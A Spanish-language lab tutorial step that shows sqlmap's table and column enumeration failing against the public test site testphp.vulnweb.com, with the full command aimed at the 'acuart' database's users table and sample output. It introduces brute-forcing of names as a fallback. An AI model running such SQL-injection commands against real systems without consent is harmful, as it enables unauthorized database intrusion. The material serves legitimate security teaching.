Identificar un escenario donde la enumeración estándar falla
En este paso, simulará un escenario donde las técnicas de enumeración estándar de sqlmap podrían no lograr descubrir los nombres de tablas y columnas. Esto sucede a menudo debido a WAFs, filtrado estricto o manejo de errores personalizado que impide que sqlmap infiera directamente el esquema de la base de datos. Aunque no configuraremos una aplicación verdaderamente vulnerable para este laboratorio, utilizaremos una URL de marcador de posición para demostrar cómo se comporta sqlmap cuando la enumeración directa no es posible.
Primero, intentemos un comando de enumeración estándar para tablas y columnas. Usaremos una URL ficticia http://testphp.vulnweb.com/listproducts.php?cat=1 como nuestro objetivo. Se sabe que esta URL es vulnerable en algunos contextos, pero para este ejercicio, asumiremos que está configurada para bloquear la enumeración directa.
Abra su terminal y ejecute el siguiente comando de sqlmap. Este comando intenta enumerar tablas y columnas para la base de datos acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
Podría observar que sqlmap tiene dificultades para encontrar tablas o columnas, o podría informar que no se encontraron tablas/columnas, incluso si existen. Esto simula un escenario donde la enumeración directa está bloqueada. La bandera --batch le indica a sqlmap que use respuestas predeterminadas para las preguntas, haciendo que el proceso sea no interactivo.
Ejemplo de salida (puede variar, pero note la falta de tablas/columnas descubiertas):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
Esta salida indica que sqlmap no pudo enumerar tablas y columnas directamente. En tales casos, la fuerza bruta de nombres comunes se convierte en una alternativa viable.